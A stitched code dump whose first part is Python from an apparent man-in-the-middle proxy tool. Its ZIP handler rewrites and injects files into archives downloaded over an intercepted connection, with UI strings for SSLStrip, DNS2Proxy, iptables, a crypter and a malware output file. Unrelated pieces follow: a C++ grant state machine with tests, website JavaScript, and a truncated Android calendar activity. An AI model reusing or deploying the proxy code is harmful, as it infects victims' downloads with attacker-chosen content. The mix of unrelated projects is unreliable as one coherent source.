print "!! Descompression exception, possible encryption detected. Continuing.. "
return
try:
modificado = original.replace(aPartirDeDonde, elQue, 1)
except Exception, e:
print "!! Replace exception: ",e
return
try:
# Compresion temporal en fichero .zip
tdir = tempfile.gettempdir()
tzip = os.path.join(os.path.sep, tdir, 'ups.zip')
fz = zipfile.ZipFile(tzip,'w', zipfile.ZIP_DEFLATED)
fz.writestr(conNombre, modificado)
fz.close()
fh = open(tzip, 'rb')
fc = fh.read()
fh.close()
os.remove(tzip)
# Actualizacion objeto bloque
fc = fc[ : fc.find('PK\001\001') ]
self.inicializa(fc)
except Exception, e:
print "!! Compression exception: ",e
def actualizaExterno(self, command, conNombre, condicional = False):
if command != "":
print "Actualizando con programa externo...."
# descomprimir
try:
original = self.extraeStreamDescomprimido()
except Exception, e:
print "!! Descompression exception, possible encryption detected. Continuing.. "
return
try:
tdir = tempfile.gettempdir()
texterno = os.path.join(os.path.sep, tdir, '%s'%randomword(5))
fh = open(texterno,"wb")
fh.write(original)
fh.close()
print ">> Excuting %s %s"%(command, texterno)
subprocess.call([command, texterno])
modificado = open(texterno,"rb").read()
except Exception, e:
print "!! subprocess exception: ",e
return
try:
# Compresion temporal en fichero .zip
tdir = tempfile.gettempdir()
tzip = os.path.join(os.path.sep, tdir, '%s_ups.zip'%randomword(5))
fz = zipfile.ZipFile(tzip,'w', zipfile.ZIP_DEFLATED)
fz.writestr(conNombre, modificado)
fz.close()
fh = open(tzip, 'rb')
fc = fh.read()
fh.close()
os.remove(tzip)
# Actualizacion objeto bloque
fc = fc[ : fc.find('PK\001\001') ]
self.inicializa(fc)
except Exception, e:
print "!! Compression exception: ",e
def insertaEmbedido(self, injectObjects, timedate):
try:
a = injectObjects
b = []
for c in a:
# leemos fichero
with open(c[0], 'rb') as fhole:
fcole = fhole.read()
tdir = tempfile.gettempdir()
tzip = os.path.join(os.path.sep, tdir, 'ups.zip')
# lo comprimimos en fichero temporal
with zipfile.ZipFile(tzip,'w', zipfile.ZIP_DEFLATED) as fz:
fz.writestr(c[1], fcole)
fz.close()
# leemos su contenido y lo borramos.
with open(tzip, 'rb') as fh:
fc = fh.read()
fh.close()
os.remove(tzip)
#
fc = fc[:self.TIMEDATE] + timedate + fc[self.TIMEDATE+4:]
objFH = BloqueLFH()
objFH.inicializa(fc)
print "InsertaEmbebido %s LFH %s" % (c[1], str(fc[:4].encode('hex')))
zfd = objFH.sobrante[:self.TIMEDATE+2] + timedate + objFH.sobrante[self.TIMEDATE+6:]
#zfd = objFH.sobrante
objCD = BloqueCDFH()
objCD.inicializa(zfd)
print "InsertaEmbebido %s CDFH %s" % (c[1], str(zfd[:4].encode('hex')))
b.append( (objFH, objCD) )
return b
except Exception, e:
print "Error insertaEmbebido %s : %s" % (Exception, e)
return None
class BloqueCDFH:
'''
Almacenamiento y tratamiento de datos de los bloques 'Central Directory Record'
'''
ESTRUCTURA_CABECERA = "<4s4B4HL2L5H2L"
TAMANO_CABECERA = None
FIRMA = "PK\001\002"
_CIDX_FIRMA = 0
_CIDX_FLAGS = 5
_CIDX_COMPRESION = 6
_CIDX_CRC = 9
_CIDX_COMPRIMIDO = 10
_CIDX_DESCOMPRIMIDO = 11
_CIDX_NOMBRE_LENGTH = 12
_CIDX_EXTRA_LENGTH = 13
_CIDX_COMMENT_LENGTH = 14
_CIDX_LH_OFFSET = 18
def __init__(self):
self.TAMANO_CABECERA = struct.calcsize(self.ESTRUCTURA_CABECERA)
self.cabecera = None
self.sobrante = ""
self.nombre = None
self.extra = None
self.contenido = None
def inicializa(self, datos):
try:
if len(datos) < self.TAMANO_CABECERA:
# print "Pocos datos necesitamos mas (CDFH < cabecera) len datos (%d)" % len(datos)
self.sobrante = datos
return -1
# cabecera
aux = datos[:self.TAMANO_CABECERA]
self.cabecera = struct.unpack(self.ESTRUCTURA_CABECERA, aux)
# campos de longitud variable en cabecera
nPos = self.TAMANO_CABECERA
ePos = self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH]
cPos = self.TAMANO_CABECERA + self.cabecera[self._CIDX_NOMBRE_LENGTH] + self.cabecera[self._CIDX_EXTRA_LENGTH]
if len(datos) < ePos:
# print "Pocos datos necesitamos mas (CDFH < ePos) len datos (%d)" % len(datos)
# print "header : ",str(aux.encode('hex'))
self.sobrante = datos
return -1
self.nombre = datos[ nPos : nPos + self.cabecera[self._CIDX_NOMBRE_LENGTH] ]
self.extra = datos[ ePos : ePos + self.cabecera[self._CIDX_EXTRA_LENGTH]]
if len(datos) < cPos:
self.sobrante = datos
return -1 ## bloque incompleto
elif len(datos) > cPos:
self.contenido = datos[: cPos]
self.sobrante = datos[ cPos : ]
if len(datos) - cPos < 4:
return -2
# print 'Nombre fichero ', self.nombre
return 1 ## datos sobrantes en bloque
else:
self.contenido = datos
return 0 ## bloque exacto
except Exception, e:
self.sobrante = datos
print "inicializa CDFH %s : %s " % (Exception, e)
return -1 ## unpack error, bloque incompleto
def actualiza(self, datos):
cbc = list(self.cabecera)
cbc[self._CIDX_COMPRIMIDO] = datos[0]
cbc[self._CIDX_DESCOMPRIMIDO] = datos[1]
cbc[self._CIDX_CRC] = datos[2]
cbc[self._CIDX_LH_OFFSET] = datos[3]
self.cabecera = tuple(cbc)
def serializa(self):
return struct.pack(self.ESTRUCTURA_CABECERA, *self.cabecera) + self.nombre + self.extra
class BloqueEOCDR:
'''
Almacenamiento y tratamiento del End Of Central Directory Record
'''
ESTRUCTURA_CABECERA = "<4s4H2LH"
TAMANO_CABECERA = None
FIRMA = "PK\005\006"
_CIDX_FIRMA = 0
_CIDX_EDISK = 3
_CIDX_ETOTAL = 4
_CIDX_CDSIZE = 5
_CIDX_CD_OFFSET = 6
_CIDX_COMENT_LENGTH = 7
def __init__(self):
self.TAMANO_CABECERA = struct.calcsize(self.ESTRUCTURA_CABECERA)
self.cabecera = None
self.sobrante = ""
self.comentarios = None
self.nombre = "EOCDR"
self.contenido = ''
def inicializa(self, datos):
try:
if len(datos) < self.TAMANO_CABECERA:
# print "Pocos datos necesitamos mas (EOCDR)"
self.sobrante = datos
return -1
# cabecera
aux = datos[:self.TAMANO_CABECERA]
self.cabecera = struct.unpack(self.ESTRUCTURA_CABECERA, aux)
# campos de longitud variable en cabecera
self.comentarios = datos[ self.TAMANO_CABECERA : self.TAMANO_CABECERA + self.cabecera[self._CIDX_COMENT_LENGTH] ]
size_total = self.TAMANO_CABECERA + self.cabecera[self._CIDX_COMENT_LENGTH]
# print 'EOCDR size %d' % size_total
if len(datos) < size_total:
self.sobrante = datos
return -1 ## bloque incompleto
elif len(datos) > size_total:
self.contenido = datos[ :size_total]
self.sobrante = datos[ size_total : ]
return 1 ## datos sobrantes en bloque
else:
self.contenido = datos
return 0 ## bloque exacto
except Exception, e:
self.sobrante = datos
return -1 ## unpack error, bloque incompleto
def serializa(self):
return struct.pack(self.ESTRUCTURA_CABECERA, *self.cabecera) + self.comentarios
def actualizaDesplazamientos(self,off, total_entradas, size_CD):
cbc = list(self.cabecera)
cbc[self._CIDX_CD_OFFSET] = off
cbc[self._CIDX_EDISK] = total_entradas
cbc[self._CIDX_ETOTAL] = total_entradas
cbc[self._CIDX_CDSIZE] = size_CD
self.cabecera = tuple(cbc)
class ZIPHandler:
BLOQUE_INCOMPLETO = -1
BLOQUE_COMPLETO = 0
BLOQUE_MULTIPLE = 1
BLOQUE_MULPROC = -2
TIPO_BLOQUE_LFH = 0
TIPO_BLOQUE_CDFH = 1
TIPO_BLOQUE_EOCDR = 2
TIPO_BLOQUE_DESC = 3
BLOQUE_VACIO = 0
numero_bloque_LFH = 0
numero_bloque_CDFH = 0
nuevoComprimido = nuevoDescomprimido = nuevo_crc32 = offsetDiff = 0
configuration = None
injectObjects = None
tipo = None
def __init__(self, zip_config, headers, uri):
self.por_tratar = ""
self.TipoDatosActuales = 0
self.DatosBloques = {
0: ( BloqueLFH(), 'PK\003\004'),
1: ( BloqueCDFH(), 'PK\001\002'),
2: ( BloqueEOCDR(), 'PK\005\006'),
3: ( None, 'PK\x07\x08')
}
self.offset_LFH = 0
self.size_CD = 0
self.referencias = {}
self.objetos = None
self.listaLFH = []
self.configuration = json.loads(open(zip_config).read())
self.por_enviar = 0
self.datetime = 0
self.encription = False
contenttype = headers["content-type"]
if contenttype in ZIPContentTypes:
self.tipo = "zip"
if contenttype in genericZIPContentTypes:
extension = uri[-4:].lower()
if extension == ".zip":
self.tipo = "zip"
self.injectObjects = self.configuration[self.tipo]["add"]
if len(self.injectObjects) > 0:
self.inyectar = True
else:
self.inyectar = False
print "> ZIP detected - Handling response for Content-Type %s" % headers["content-type"]
self.nombres_infectar = {}
self.extension_infectar = {}
for fichero in self.configuration[self.tipo]["mod"]:
if fichero['name'] != '':
self.nombres_infectar[fichero['name']] = int(fichero['size'])
if fichero['extension'] != '':
self.extension_infectar[fichero['extension']] = int(fichero['size'])
#print "> DOCX detected Handling response for Content-Type %s" % response.getheader('Content-Type')
self.tiposbloques = len(self.DatosBloques)
def Bind(self, data, datalen, contentlength = 0, downloaded_name='temporal.zip'):
return self.BlockHandler(data, datalen, contentlength, downloaded_name)
def BlockHandler(self, data, datalen, contentlength = 0, downloaded_name='temporal.zip'):
aEnviar = ''
if self.por_enviar > 0:
if len(data) > self.por_enviar:
aEnviar += data[:self.por_enviar]
self.por_tratar = data[self.por_enviar:]
#print 'enviando %d de %d datos / siguiente bloque %s' % (self.por_enviar, len(data), str(self.por_tratar[:4].encode('hex')))
self.por_enviar = 0
else:
aEnviar += data
self.por_enviar -= len(data)
self.por_tratar = ''
#print 'enviando %d queda %d ' % (len(data), self.por_enviar)
return aEnviar, 0, 0
else:
self.por_tratar += data
TodoAnalizado = False
while not TodoAnalizado:
try:
spor_tratar = len(self.por_tratar)
if ( spor_tratar < 22 and self.TipoDatosActuales == self.TIPO_BLOQUE_CDFH) or (spor_tratar < 50 and (self.TipoDatosActuales == self.TIPO_BLOQUE_LFH or self.TipoDatosActuales == self.TIPO_BLOQUE_DESC)):
# print 'Necesito más...'
# TodoAnalizado = True
break
for TipoDato in range(self.tiposbloques+1):
if TipoDato == self.tiposbloques:
estado = self.BLOQUE_INCOMPLETO
print "* Error at ZIP format.... (header %s)" % str(self.por_tratar[:4].encode('hex'))
sys.exit(0)
break
objPK, firmaActual = self.DatosBloques[TipoDato]
self.TipoDatosActuales = TipoDato
if objPK is not None and firmaActual == self.por_tratar[:4]:
estado = objPK.inicializa(self.por_tratar)
self.por_tratar = objPK.sobrante
break
if TipoDato == self.TIPO_BLOQUE_DESC and firmaActual == self.por_tratar[:4]:
if not self.encription:
print '>> Encription detected....'
self.encription = True
aEnviar+=self.por_tratar[:16]
self.por_tratar = self.por_tratar[16:]
self.offset_LFH += 16
estado = self.BLOQUE_MULTIPLE
break
if estado == self.BLOQUE_INCOMPLETO:
if self.TipoDatosActuales == self.TIPO_BLOQUE_LFH and objPK.nombre is not None:
if objPK.nombre in self.nombres_infectar and not self.encription:
if objPK.size <= self.nombres_infectar[objPK.nombre] and self.nombres_infectar[objPK.nombre] > 0:
break
print '> Avoiding update %s cause size %d' % (objPK.nombre, objPK.size)
if objPK.nombre[objPK.nombre.rfind('.'):] in self.extension_infectar and not self.encription:
pextension = objPK.nombre[objPK.nombre.rfind('.'):]
if objPK.size <= self.extension_infectar[pextension] and self.extension_infectar[pextension] > 0:
break
print '> Avoiding update %s cause size %d' % (objPK.nombre, objPK.size)
self.datetime = objPK.datetime
# print '%d LFH %s (%d / %d) estado: %d' % (self.numero_bloque_LFH, objPK.nombre, len(self.por_tratar), objPK.size, estado)
self.listaLFH.append(objPK.nombre)
self.numero_bloque_LFH += 1
self.por_enviar = objPK.size - len(self.por_tratar)
self.numero_bloque_LFH +=1
aEnviar += self.por_tratar
self.por_tratar = ''
dBasicos = objPK.datosBasicos()
dBasicos[dBasicos.keys()[0]].append(self.offset_LFH)
self.referencias.update(dBasicos)
self.offset_LFH += objPK.size
# TodoAnalizado = True
break
self.por_enviar = 0
if self.TipoDatosActuales == self.TIPO_BLOQUE_LFH:
self.listaLFH.append(objPK.nombre)
# print '%d LFH %s (%d) estado: %d resta %d' % (self.numero_bloque_LFH, objPK.nombre, len(objPK.contenido), estado, len(self.por_tratar))
self.numero_bloque_LFH += 1
self.datetime = objPK.datetime
# Modificación elementos en el array
if not self.encription:
pextension = objPK.nombre[objPK.nombre.rfind('.'):]
if objPK.nombre in self.nombres_infectar or pextension in self.extension_infectar:
for fichero in self.configuration[self.tipo]["mod"]:
lene = len(fichero["extension"])
if (fichero["name"] == objPK.nombre or (fichero["extension"] == objPK.nombre[0-lene:].lower())):
if (fichero['size'] == 0 or objPK.size <= fichero['size']):
print "> Updating file ", objPK.nombre
if len(fichero["command"]) > 0:
objPK.actualizaExterno(fichero["command"], objPK.nombre)
elif len(fichero["old"]) > 0 and len(fichero["new"]) > 0:
objPK.actualizaGenerico(fichero["new"].encode("utf-8"), fichero["old"].encode("utf-8"), objPK.nombre)
else:
print "> Avoiding update %s cause size %d" % (objPK.nombre, objPK.size)
dBasicos = objPK.datosBasicos()
dBasicos[dBasicos.keys()[0]].append(self.offset_LFH)
self.referencias.update(dBasicos)
aEnviar += objPK.serializa()
self.offset_LFH += len(objPK.serializa())
elif self.TipoDatosActuales == self.TIPO_BLOQUE_CDFH:
if self.inyectar:
objIN = BloqueLFH()
if len(self.injectObjects) > 0:
print "> INSERTING files"
self.numero_bloque_LFH += len(self.injectObjects)
self.objetos = objIN.insertaEmbedido(self.injectObjects, self.datetime)
if self.objetos is not None:
for b in self.objetos:
dBasicos = b[0].datosBasicos()
dBasicos[dBasicos.keys()[0]].append(self.offset_LFH)
self.referencias.update(dBasicos)
aEnviar += b[0].serializa()
self.offset_LFH += len(b[0].serializa())
print '> End Inserting....'
self.inyectar = False
# print '%d CDFH %s (%d) resta (%d)' % (self.numero_bloque_CDFH, objPK.nombre, len(objPK.contenido), len(self.por_tratar))
# if self.listaLFH[self.numero_bloque_CDFH] != objPK.nombre:
# print ' (%d) Diferente!!!' % self.numero_bloque_CDFH
self.numero_bloque_CDFH += 1
#print '[--] CDFH ', objPK.nombre
objPK.actualiza(self.referencias[objPK.nombre])
aEnviar += objPK.serializa()
self.size_CD += len(objPK.serializa())
self.por_enviar = 0
elif self.TipoDatosActuales == self.TIPO_BLOQUE_EOCDR:
if not self.inyectar:
self.inyectar = True
if self.objetos is not None :
for b in self.objetos:
b[1].actualiza(self.referencias[b[1].nombre])
aEnviar += b[1].serializa()
self.size_CD += len(b[1].serializa())
self.objetos = None
# print 'Bloque EOCDR (%d): ' % len(objPK.contenido), objPK.nombre
# actualizar offset del CD
objPK.actualizaDesplazamientos(self.offset_LFH, len(self.referencias), self.size_CD)
TodoAnalizado = True
aEnviar += objPK.serializa()
print "> WORK Finished\n\n"
if estado == self.BLOQUE_MULPROC:
TodoAnalizado = True
except Exception, e:
print "Excepcion en el Handler %s: %s" % (Exception, e)
sys.exit(0)
pass
return aEnviar, 0, 0
def Padding(self):
return None<file_sep># -*- coding: utf-8 -*-
lang = [0 for i in range(100)]
lang[0] = "Enable SSLStrip v2"
lang[1] = "Changes"
lang[2] = "Load Config"
lang[3] = "Load last used config"
lang[4] = "EXE Config"
lang[5] = "HTML Config"
lang[6] = "OOXML Config"
lang[7] = "Proxy Config"
lang[8] = "ZIP Config"
lang[9] = "Crypter:"
lang[10] = "DNS2Proxy directory path:"
lang[11] = "Proxy directory path: "
lang[12] = "Temp directory path: "
lang[13] = "iptables executable path:"
lang[14] = "Extension"
lang[15] = "Malware output file:"
lang[16] = "Local output file:"
lang[17] = "Original output file:"
lang[18] = "Local File"
lang[19] = "File"
lang[20] = "Files to add"
lang[21] = "Files to modify"
lang[22] = "Save Log"
lang[23] = "Save Configuration "
lang[24] = "HTML"
lang[25] = "Monitorization tool:"
lang[26] = "Modify EXE"
lang[27] = "Modify HTML"
lang[28] = "Modify MS Office"
lang[29] = "Modify ZIPs"
lang[30] = "User and System Information"
lang[31] = "LAUNCH!"
lang[32] = "Interface:"
lang[33] = "Executable launcher:"
lang[34] = "Launch dns2proxy (must be root)"
lang[35] = "Launch iptables (only linux y root)"
lang[36] = "Clean Log"
lang[37] = "Modification"
lang[38] = "Name"
lang[39] = "New text"
lang[40] = "Targets"
lang[41] = "Network options"
lang[42] = "Keywords"
lang[43] = "Redirection Prefix:"
lang[44] = "External command"
lang[45] = "Proxy"
lang[46] = "TCP Port:"
lang[47] = "External resources"
lang[48] = "redirection"
lang[49] = "Redirect on succesful login"
lang[50] = "Local File Path"
lang[51] = "Path at ZIP"
lang[52] = "Local Path"
lang[53] = "Size"
lang[54] = "Text to change"
lang[55] = "New Text"
lang[56] = "Old Text"
lang[57] = "HTTP Request Transformation"
lang[58] = "HTTP Response Transformation"
lang[59] = "domain"
lang[60] = "destination host"
lang[61] = "succesful Login"
lang[62] = "modified"
lang[63] = "target"
lang[64] = "original"
lang[65] = "keywords"
lang[66] = "Redirection"
lang[67] = "Proxy Stopped"
lang[68] = u'No default config'
lang[69] = 'Unknown user ID'
lang[70] = 'Windows??? (only Linux / Mac OS X Supported)'
lang[71] = u'Select config file'
lang[72] = 'Select config file to save'
lang[73] = '[++] Stopping iptables...'
lang[74] = "Proxy Stopped"
lang[75] = '\nStopping Proxy....\n'
lang[76] = 'Stopping DNS2Proxy...\n'
lang[77] = 'Executing... '
lang[78] = "Proxy Running"
lang[79] = "Stop Proxy"
lang[80] = '[++] Executing iptables...'
lang[81] = 'Select file'
lang[82] = 'Select directory'
lang[83] = u'Incorrect config file'
|
06fd7a8a388ad31610b512a07b4c6e953774b778
|
[
"Markdown",
"Python",
"Shell"
] | 14
|
Markdown
|
zprian/edm
|
a05a985e839d233ffcd1aaf32d72d93c57eed429
|
77b1bd056ed5828ba7af56d211c8a47449a0a95b
|
refs/heads/master
|
<repo_name>ivanz125/problem_24<file_sep>/24/Created.cpp
#include "stdafx.h"
#include "Created.h"
Created::Created(Grant* grant) : GrantState(grant) {}
std::string Created::getState(){
return "created";
}
bool Created::sendApplication(){
grant->setState(grant->stateWaiting);
std::cout << "Application sent\n";
return true;
}
bool Created::saveDraft(){
grant->setState(grant->stateDelayed);
std::cout << "Application saved\n";
return true;
}
bool Created::acceptApplication(){
std::cout << "Application not sent yet\n";
return false;
}
bool Created::rejectApplication(){
std::cout << "Application not sent yet\n";
return false;
}
bool Created::withdrawApplication(){
std::cout << "Application not sent yet\n";
return false;
}<file_sep>/24/Withdrawn.cpp
#include "stdafx.h"
#include "Withdrawn.h"
Withdrawn::Withdrawn(Grant* grant) : GrantState(grant) {}
std::string Withdrawn::getState(){
return "withdrawn";
}
bool Withdrawn::sendApplication(){
std::cout << "This application has been withdrawn, create new one\n";
return false;
}
bool Withdrawn::saveDraft(){
std::cout << "This application has been withdrawn, create new one\n";
return false;
}
bool Withdrawn::acceptApplication(){
std::cout << "Application already withdrawn\n";
return false;
}
bool Withdrawn::rejectApplication(){
std::cout << "Application already withdrawn\n";
return false;
}
bool Withdrawn::withdrawApplication(){
std::cout << "Application already withdrawn\n";
return false;
}<file_sep>/24/Confirmed.cpp
#include "stdafx.h"
#include "Confirmed.h"
Confirmed::Confirmed(Grant* grant) : GrantState(grant) {}
std::string Confirmed::getState(){
return "confirmed";
}
bool Confirmed::sendApplication(){
std::cout << "Application already sent\n";
return false;
}
bool Confirmed::saveDraft(){
std::cout << "Application already sent\n";
return false;
}
bool Confirmed::acceptApplication(){
std::cout << "Application already accepted\n";
return false;
}
bool Confirmed::rejectApplication(){
std::cout << "Application already accepted\n";
return false;
}
bool Confirmed::withdrawApplication(){
std::cout << "Application already accepted\n";
return false;
}<file_sep>/24/Delayed.h
#include "GrantState.h"
#include "Grant.h"
class Delayed : public GrantState {
public:
Delayed(Grant* grant);
std::string getState();
bool sendApplication();
bool saveDraft();
bool acceptApplication();
bool rejectApplication();
bool withdrawApplication();
};<file_sep>/24/Waiting.cpp
#include "stdafx.h"
#include "Waiting.h"
Waiting::Waiting(Grant* grant) : GrantState(grant) {}
std::string Waiting::getState(){
return "waiting";
}
bool Waiting::sendApplication(){
std::cout << "Application already sent\n";
return false;
}
bool Waiting::saveDraft(){
std::cout << "Application already sent\n";
return false;
}
bool Waiting::acceptApplication(){
grant->setState(grant->stateConfirmed);
std::cout << "Application accepted\n";
return true;
}
bool Waiting::rejectApplication(){
grant->setState(grant->stateRejected);
std::cout << "Application rejected\n";
return true;
}
bool Waiting::withdrawApplication(){
grant->setState(grant->stateWithdrawn);
std::cout << "Application withdrawn\n";
return true;
}<file_sep>/24/Delayed.cpp
#include "stdafx.h"
#include "Delayed.h"
Delayed::Delayed(Grant* grant) : GrantState(grant) {}
std::string Delayed::getState(){
return "delayed";
}
bool Delayed::sendApplication(){
grant->setState(grant->stateWaiting);
std::cout << "Application sent\n";
return true;
}
bool Delayed::saveDraft(){
std::cout << "Application saved\n";
return true;
}
bool Delayed::acceptApplication(){
std::cout << "Application not sent yet\n";
return false;
}
bool Delayed::rejectApplication(){
std::cout << "Application not sent yet\n";
return false;
}
bool Delayed::withdrawApplication(){
std::cout << "Application not sent yet\n";
return false;
}<file_sep>/24/Rejected.cpp
#include "stdafx.h"
#include "Rejected.h"
Rejected::Rejected(Grant* grant) : GrantState(grant) {}
std::string Rejected::getState(){
return "rejected";
}
bool Rejected::sendApplication(){
std::cout << "This application has been rejected, create new one\n";
return false;
}
bool Rejected::saveDraft(){
std::cout << "This application has been rejected, create new one\n";
return false;
}
bool Rejected::acceptApplication(){
std::cout << "Application already rejected\n";
return false;
}
bool Rejected::rejectApplication(){
std::cout << "Application already rejected\n";
return false;
}
bool Rejected::withdrawApplication(){
std::cout << "Application already rejected\n";
return false;
}<file_sep>/24/Grant.h
#pragma once
#include "GrantState.h"
class Grant{
GrantState* state;
std::string description;
public:
GrantState* stateCreated;
GrantState* stateDelayed;
GrantState* stateWaiting;
GrantState* stateConfirmed;
GrantState* stateRejected;
GrantState* stateWithdrawn;
Grant();
void setState(GrantState* state);
std::string getState();
bool setDescription(std::string text);
std::string getDescription();
bool sendApplication();
bool saveDraft();
bool acceptApplication();
bool rejectApplication();
bool withdrawApplication();
};<file_sep>/24/Grant.cpp
#include "stdafx.h"
#include "Grant.h"
#include "Created.h"
#include "Delayed.h"
#include "Waiting.h"
#include "Confirmed.h"
#include "Rejected.h"
#include "Withdrawn.h"
Grant::Grant(){
stateCreated = new Created(this);
stateDelayed = new Delayed(this);
stateWaiting = new Waiting(this);
stateConfirmed = new Confirmed(this);
stateRejected = new Rejected(this);
stateWithdrawn = new Withdrawn(this);
setState(stateCreated);
}
void Grant::setState(GrantState* state){
this->state = state;
}
std::string Grant::getState(){
return state->getState();
}
bool Grant::setDescription(std::string text){
if (saveDraft()) this->description = text;
else std::cout << "Cannot change description in current state\n";
return saveDraft();
}
std::string Grant::getDescription(){
return description;
}
bool Grant::sendApplication(){
return state->sendApplication();
}
bool Grant::saveDraft(){
return state->saveDraft();
}
bool Grant::acceptApplication(){
return state->acceptApplication();
}
bool Grant::rejectApplication(){
return state->rejectApplication();
}
bool Grant::withdrawApplication(){
return state->withdrawApplication();
}<file_sep>/24/GrantState.h
#pragma once
#include <string>
#include <iostream>
class Grant;
class GrantState{
protected:
Grant* grant;
public:
GrantState(Grant* grant) : grant(grant){}
virtual std::string getState() = 0;
virtual bool sendApplication() = 0;
virtual bool saveDraft() = 0;
virtual bool acceptApplication() = 0;
virtual bool rejectApplication() = 0;
virtual bool withdrawApplication() = 0;
};<file_sep>/24/24.cpp
#include "stdafx.h"
#define CATCH_CONFIG_RUNNER
#include "catch.hpp"
#include "Grant.h"
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
Catch::Session().run(argc, argv);
system("pause");
return 0;
}
TEST_CASE("Created")
{
Grant* grant = new Grant();
CHECK(grant->getState().compare("created") == 0);
CHECK(grant->acceptApplication() == false);
CHECK(grant->rejectApplication() == false);
CHECK(grant->withdrawApplication() == false);
CHECK(grant->sendApplication() == true);
CHECK(grant->getState().compare("waiting") == 0);
Grant* grant2 = new Grant();
CHECK(grant2->saveDraft() == true);
CHECK(grant2->setDescription("Some text") == true);
CHECK(grant2->getDescription().compare("Some text") == 0);
}
TEST_CASE("Delayed")
{
Grant* grant = new Grant();
CHECK(grant->saveDraft() == true);
CHECK(grant->getState().compare("delayed") == 0);
CHECK(grant->acceptApplication() == false);
CHECK(grant->rejectApplication() == false);
CHECK(grant->withdrawApplication() == false);
CHECK(grant->saveDraft() == true);
CHECK(grant->sendApplication() == true);
}
TEST_CASE("Waiting")
{
Grant* grant = new Grant();
CHECK(grant->sendApplication() == true);
CHECK(grant->getState().compare("waiting") == 0);
CHECK(grant->saveDraft() == false);
CHECK(grant->sendApplication() == false);
CHECK(grant->acceptApplication() == true);
CHECK(grant->getState().compare("confirmed") == 0);
Grant* toReject = new Grant();
toReject->sendApplication();
CHECK(toReject->rejectApplication() == true);
CHECK(toReject->getState().compare("rejected") == 0);
Grant* toWithdraw = new Grant();
toWithdraw->sendApplication();
CHECK(toWithdraw->withdrawApplication() == true);
CHECK(toWithdraw->getState().compare("withdrawn") == 0);
}
TEST_CASE("Confirmed")
{
Grant* grant = new Grant();
grant->sendApplication();
grant->acceptApplication();
CHECK(grant->getState().compare("confirmed") == 0);
CHECK(grant->sendApplication() == false);
CHECK(grant->saveDraft() == false);
CHECK(grant->acceptApplication() == false);
CHECK(grant->rejectApplication() == false);
CHECK(grant->withdrawApplication() == false);
}
TEST_CASE("Rejected")
{
Grant* grant = new Grant();
grant->sendApplication();
grant->rejectApplication();
CHECK(grant->getState().compare("rejected") == 0);
CHECK(grant->sendApplication() == false);
CHECK(grant->saveDraft() == false);
CHECK(grant->acceptApplication() == false);
CHECK(grant->rejectApplication() == false);
CHECK(grant->withdrawApplication() == false);
}
TEST_CASE("Withdrawn")
{
Grant* grant = new Grant();
grant->sendApplication();
grant->withdrawApplication();
CHECK(grant->getState().compare("withdrawn") == 0);
CHECK(grant->sendApplication() == false);
CHECK(grant->saveDraft() == false);
CHECK(grant->acceptApplication() == false);
CHECK(grant->rejectApplication() == false);
CHECK(grant->withdrawApplication() == false);
}
|
bcd5e1b752d82c63b277ed44e354569e707fedbe
|
[
"C++"
] | 11
|
C++
|
ivanz125/problem_24
|
75a385205c8ca21e1fa68efd354d5b89de8fbd10
|
349d524c50ceb864fe081fbfca91833612f79ce8
|
refs/heads/master
|
<repo_name>laliczeljko/laliczeljko<file_sep>/js/main.js
// Initialize and add the map
function initMap() {
// Your location
const loc = { lat: 44.837673, lng: 20.416835 };
// Centered map on location
const map = new google.maps.Map(document.querySelector(".map"), {
zoom: 14,
center: loc
});
// The marker, positioned at location
const marker = new google.maps.Marker({ position: loc, map: map });
}
// Sticky menu background
window.addEventListener("scroll", function() {
if (this.window.scrollY > 150) {
this.document.querySelector("#navbar").style.opacity = 0.8;
} else {
document.querySelector("#navbar").style.opacity = 1;
}
});
// Mouse Circle Animation
document.onmousemove = animateCircles;
var colors = ["#ffd500", "#f0d000", "#dbbe00", "#c2a802", "#a38e02"];
function animateCircles(event) {
var circle = document.createElement("div");
circle.setAttribute("class", "circle");
document.body.appendChild(circle);
circle.style.left = event.clientX + "px";
circle.style.top = event.clientY + "px";
var color = colors[Math.floor(Math.random() * colors.length)];
circle.style.borderColor = color;
circle.style.transition = "all 0.3s linear 0s";
circle.style.left = circle.offsetLeft - 20 + "px";
circle.style.top = circle.offsetTop - 20 + "px";
circle.style.width = "50px";
circle.style.height = "50px";
circle.style.borderWidth = "5px";
circle.style.opacity = 0;
}
// Smooth Scrolling
$("#navbar a, .btn").on("click", function(event) {
if (this.hash !== "") {
event.preventDefault();
const hash = this.hash;
$("html, body").animate(
{
scrollTop: $(hash).offset().top - 100
},
800
);
}
});
sr.reveal(".btn1", { origin: "top", distance: "70px", duration: 2000 });
|
78824af363d3dcea31b92e320829e9ed74393aa2
|
[
"JavaScript"
] | 1
|
JavaScript
|
laliczeljko/laliczeljko
|
5ee7eb3ea374c10161b971bd66cf120ace4ed5d7
|
e868e068c810afb8c0b4197bfcea211d7666f336
|
refs/heads/master
|
<repo_name>AnuragKurumaddali/CalendarDemo<file_sep>/app/src/main/java/com/raj/calendardemo/MainActivity.java
package com.raj.calendardemo;
import android.app.Activity;
import android.graphics.Color;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.util.Log;
import android.widget.Toast;
import com.prolificinteractive.materialcalendarview.CalendarDay;
import com.prolificinteractive.materialcalendarview.MaterialCalendarView;
import com.prolificinteractive.materialcalendarview.OnDateLongClickListener;
import com.prolificinteractive.materialcalendarview.OnDateSelectedListener;
import com.prolificinteractive.materialcalendarview.OnMonthChangedListener;
import org.threeten.bp.LocalDate;
import java.util.LinkedHashMap;
import java.util.Vector;
public class MainActivity extends Activity {
private MaterialCalendarView calendarView;
private Vector<EventDO> vecEvents;
private CurrentMonthDecorator currentMonthDecorator;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/* HashSet<Date> events = new HashSet<>();
events.add(new Date());
CalendarView cv = ((CalendarView)findViewById(R.id.calendar_view));
cv.updateCalendar(events);
// assign event handler
cv.setEventHandler(new CalendarView.EventHandler()
{
@Override
public void onDayLongPress(Date date)
{
// show returned day
DateFormat df = SimpleDateFormat.getDateInstance();
Toast.makeText(MainActivity.this, df.format(date), Toast.LENGTH_SHORT).show();
}
});*/
initControls();
}
private void initControls(){
calendarView = findViewById(R.id.calendarView);
CalendarDay today = CalendarDay.today();
//set All Events on Open of Calendar
setSelectedDays();
// To Increase TextSize
increaseTextSize(true);
//To Show Next Month Dates
calendarView.setShowOtherDates(MaterialCalendarView.SHOW_ALL);
